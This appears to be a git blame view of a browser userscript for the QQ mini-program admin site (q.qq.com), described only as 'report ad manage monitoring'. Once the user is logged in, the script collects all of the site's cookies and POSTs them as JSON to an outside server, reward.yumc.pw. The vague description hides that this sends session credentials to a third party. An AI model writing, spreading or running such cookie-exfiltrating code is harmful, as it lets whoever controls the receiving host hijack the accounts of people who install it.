1
0
Fork 0
UserScript/qq/q.user.js

37 lines
1.3 KiB
JavaScript
Raw Normal View History

2020-09-30 08:41:32 +00:00
// ==UserScript==
// @name QQ小程序授权上报
// @namespace https://qq.yumc.pw/
2020-10-10 02:08:05 +00:00
// @version 0.2
2020-09-30 08:41:32 +00:00
// @description report ad manage monitoring!
// @author MiaoWoo
// @match http*://q.qq.com
// @grant none
// ==/UserScript==
(function () {
2020-10-10 02:08:05 +00:00
'use strict'
var taskId = undefined
async function reportQCookie() {
let path = location.hash.substr(1)
if (path == '/ad/manage' || path == '/home') {
let res = await fetch('https://q.qq.com/pb3/GetPreCacheUrl').then(r => r.json())
2020-09-30 08:41:32 +00:00
if (res.code == 0) {
2020-10-10 02:08:05 +00:00
clearInterval(taskId)
2020-09-30 08:41:32 +00:00
let cookies = document.cookie.split(';').map(s => s.trim().split('=', 2)).reduce((pre, cur, index) => {
pre[cur[0]] = cur[1]
return pre
}, {})
2020-10-10 02:08:05 +00:00
let report = await fetch('https://reward.yumc.pw/callback/qcookie', {
2020-09-30 08:41:32 +00:00
method: "POST",
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(cookies)
2020-10-10 02:08:05 +00:00
}).then(r => r.json())
console.log('小程序Cookie上报完毕', report)
2020-09-30 08:41:32 +00:00
}
2020-10-10 02:08:05 +00:00
}
}
taskId = setInterval(reportQCookie, 2000)
})()